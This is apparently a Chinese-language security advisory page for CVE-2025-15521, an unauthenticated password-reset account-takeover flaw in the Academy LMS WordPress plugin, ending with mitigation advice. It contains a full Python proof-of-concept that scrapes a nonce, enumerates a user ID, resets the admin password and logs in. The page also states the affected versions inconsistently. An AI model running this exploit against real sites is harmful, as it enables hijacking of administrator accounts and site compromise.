IPBUF安全漏洞报告
English
CVE-2025-15521 CVSS 9.8 严重

CVE-2025-15521 WordPress Academy LMS插件账户接管漏洞

披露日期: 2026-01-21

漏洞信息

漏洞编号
CVE-2025-15521
漏洞类型
特权提升/账户接管
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Academy LMS WordPress Plugin (Academy < 3.5.0)

相关标签

CVE-2025-15521账户接管特权提升WordPress插件漏洞Academy LMS认证绕过密码重置漏洞nonce验证不足WordPress安全

漏洞概述

Academy LMS是WordPress平台上一款功能完整的在线学习管理系统(LMS)插件。该插件在3.5.0及之前的所有版本中存在严重的安全漏洞,攻击者可利用此漏洞无需任何认证即可接管任意用户账户,包括管理员账户。此漏洞的根本原因在于插件在处理密码重置功能时,未能正确验证用户身份,而是仅依赖一个公开暴露的nonce值进行授权验证。由于nonce值可以被攻击者轻易获取,攻击者可以构造恶意请求来修改目标用户的密码,从而获得对该账户的完全控制权。一旦管理员账户被接管,攻击者便可以在网站上执行任意操作,包括上传恶意插件、修改内容或窃取敏感数据。此漏洞CVSS评分高达9.8,属于紧急严重级别,建议所有使用该插件的用户立即升级到最新版本。

技术细节

Academy LMS插件的密码重置功能存在严重的设计缺陷。在includes/functions.php文件的第1581行附近,插件实现了忘记密码功能,该功能在处理密码更新请求时存在以下问题:1) 身份验证不足:插件仅使用一个可预测或公开暴露的nonce值来验证请求合法性,而没有结合用户会话、邮箱验证或其他强身份验证机制。2) 授权检查缺失:插件未能验证请求者是否有权修改目标用户的密码,任何人都可以指定任意用户ID进行密码修改。3) 缺乏CSRF保护:虽然使用了nonce,但由于nonce的实现方式不安全,攻击者可以通过多种方式获取或预测该值。攻击者只需获取目标用户的ID和有效的nonce,即可构造POST请求修改该用户的密码。由于WordPress的nonce机制设计为公开可用(通过wp-admin或前端页面),攻击者可以轻易获取所需的nonce值并执行账户接管攻击。

攻击链分析

STEP 1
信息收集
攻击者访问目标WordPress网站,获取Academy LMS插件公开暴露的nonce值和目标用户的ID
STEP 2
构造恶意请求
攻击者利用获取的nonce和用户ID,构造密码重置请求,包含新的恶意密码
STEP 3
执行密码修改
发送构造好的POST请求到wp-admin/admin-ajax.php,触发密码更新功能
STEP 4
账户接管
成功修改目标用户密码后,攻击者使用新密码登录目标账户
STEP 5
权限滥用
获得管理员权限后,上传恶意插件、修改网站内容或窃取敏感数据

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import re target = "http://target-wordpress-site.com" username = "admin" # Target username to takeover # Step 1: Get the publicly exposed nonce from the plugin session = requests.Session() # Get homepage to extract nonce resp = session.get(f"{target}/") # Academy LMS exposes nonce in its AJAX handlers or forms nonce_match = re.search(r'action":"academy_reset_password"[^}]*nonce":"([a-zA-Z0-9]+)', resp.text) if not nonce_match: # Alternative: Try to get nonce from login page resp = session.get(f"{target}/wp-login.php?action=lostpassword") nonce_match = re.search(r'_wpnonce" value="([a-zA-Z0-9]+)', resp.text) nonce = nonce_match.group(1) if nonce_match else None # Step 2: Get user ID for target username user_resp = session.get(f"{target}/wp-json/wp/v2/users?search={username}") user_id = user_resp.json()[0]['id'] if user_resp.json() else None # Step 3: Exploit the vulnerability - reset password if nonce and user_id: exploit_data = { 'action': 'academy_reset_password', 'user_id': str(user_id), 'new_password': 'P@ssw0rd123!', 'nonce': nonce, 're_new_password': 'P@ssw0rd123!' } exploit_resp = session.post( f"{target}/wp-admin/admin-ajax.php", data=exploit_data, headers={'Content-Type': 'application/x-www-form-urlencoded'} ) print(f"Exploit Status: {exploit_resp.status_code}") print(f"Response: {exploit_resp.text}") # Step 4: Login with new password login_data = { 'log': username, 'pwd': 'P@ssw0rd123!', 'wp-submit': 'Log In' } login_resp = session.post( f"{target}/wp-login.php", data=login_data, allow_redirects=True ) if 'wordpress_logged_in' in str(session.cookies): print("[+] Account takeover successful!") else: print("[-] Login failed")

影响范围

Academy LMS WordPress Plugin < 3.5.0

防御指南

临时缓解措施
立即将Academy LMS插件升级到3.5.0或最新版本。在无法立即升级的情况下,可临时采取以下措施:1) 使用Web应用防火墙(WAF)阻止可疑的密码重置请求;2) 限制WordPress REST API的用户查询功能;3) 监控异常的管理员登录活动;4) 考虑暂时禁用Academy LMS插件直到完成安全更新。建议同时审查所有管理员账户,确保未被未授权访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表